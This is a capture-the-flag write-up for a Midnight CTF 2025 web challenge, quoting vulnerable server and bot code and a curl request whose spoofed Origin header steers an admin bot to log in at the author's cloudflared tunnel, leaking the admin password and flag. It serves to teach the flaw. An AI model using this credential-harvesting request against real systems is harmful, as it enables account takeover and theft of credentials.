Post Playground


Introduction

Post Playground was a medium web challenge from the Midnight CTF 2025.

We had to find the flag through a bot that could send a request to a flag route on an API.

The challenge was whiteboxed, meaning we had access to the source code of the web application.

This is probably an unintended solution. The intended one will be described on the next blog post Post Playground Revenge.

File structure

Enumeration

The flag is returned in the api.js file on a GET /flag route only accessible by the administrator.

Flag route

From the sources, we can see a /bot route that’ll trigger the bot to run:

Bot route

On that route, we can see something interesting:

api.js
if(UUID_RE.exec(req.body.uuid) && req.get('origin') !== undefined && 
            (req.get('origin').startsWith("http://") || req.get('origin').startsWith("https://")) ) {
    let bot_res = await bot.goto(req.body.uuid, req.get('origin'), ADM_USERNAME, ADM_PASSWORD);
    if(bot_res) {
        res.status(200).json({"status":200, "data": "Nothing seems wrong with this playground."});
    } else {
        res.status(500).json({"status":500, "error": "Something goes wrong..."});
    }
}

Here, the origin header is not checked, and this string which is controlled by the client, is directly sent to the bot without any verification more than “it should start with http or https”.

In the bot file, we also have something interesting:

bot.js
// We receive the malicious base_url here
async function goto(uuid, base_url, user, pwd) {
    [...]
	try {
        console.log("[BOT] - Logging into application");
        // and without any verification, the bot is going to login
        // there.
	    await page.goto(`${base_url}/login`);
        await page.waitForSelector('#username');
        await page.type("#username", user);
        await page.type("#password", pwd);
        await Promise.all([
            page.click('#submit'),
            page.waitForNavigation()
        ]);
	} catch {
        return false;
    }
    [...]

We can imagine an attacker replacing the origin URI and send a request to the server. The bot will connect to it with it’s credentials, and we’ll get them back.

Exploitation

First of all, we need to have a way to get the credentials of the bot.

I added some logs in the source code of the application, launch it, and expose myself through a cloudflared tunnel.

  1. Add logs:

Adding logs on the application

  1. Starting the app:

Starting the application

  1. Reverse proxy with cloudflare tunnel:

Reverse proxy

  1. Send the request and get credentials back:
curl 'http://chall2.midnightflag.fr:10502/api/bot' -X POST -H 'Accept: */*' \
    -H 'Accept-Language: en,fr-FR;q=0.8,fr;q=0.5,en-US;q=0.3' -H 'Accept-Encoding: gzip, deflate' \
    -H 'Referer: http://chall2.midnightflag.fr:10502/playground' \
    -H 'Content-Type: application/x-www-form-urlencoded;charset=UTF-8' \
    # Here is our custom origin
    -H 'Origin: https://snow-slow-count-waiver.trycloudflare.com' \
    -H 'Cookie: connect.sid=s%3AhT77M_EGDBsjgI-xD43CYJZNmgjQGWue.LX08uWeuO8mtxeIcx6B2VGbwe%2FK9Ii2PkzC0oaswchY' \
    --data-raw 'uuid=4125e08a-5fee-4a37-b188-f439be5650d6'

Admin password

Now, we can connect with the following credentials:

  • username: admin
  • password: ec501cec-51ff-44c9-b164-7f1ac18f64bd

Trying to connect

And finally, we need to call the flag route on the API:

Calling flag route on API

Flag: MCTF{09fd5e94f935d82942ad5069aae09920}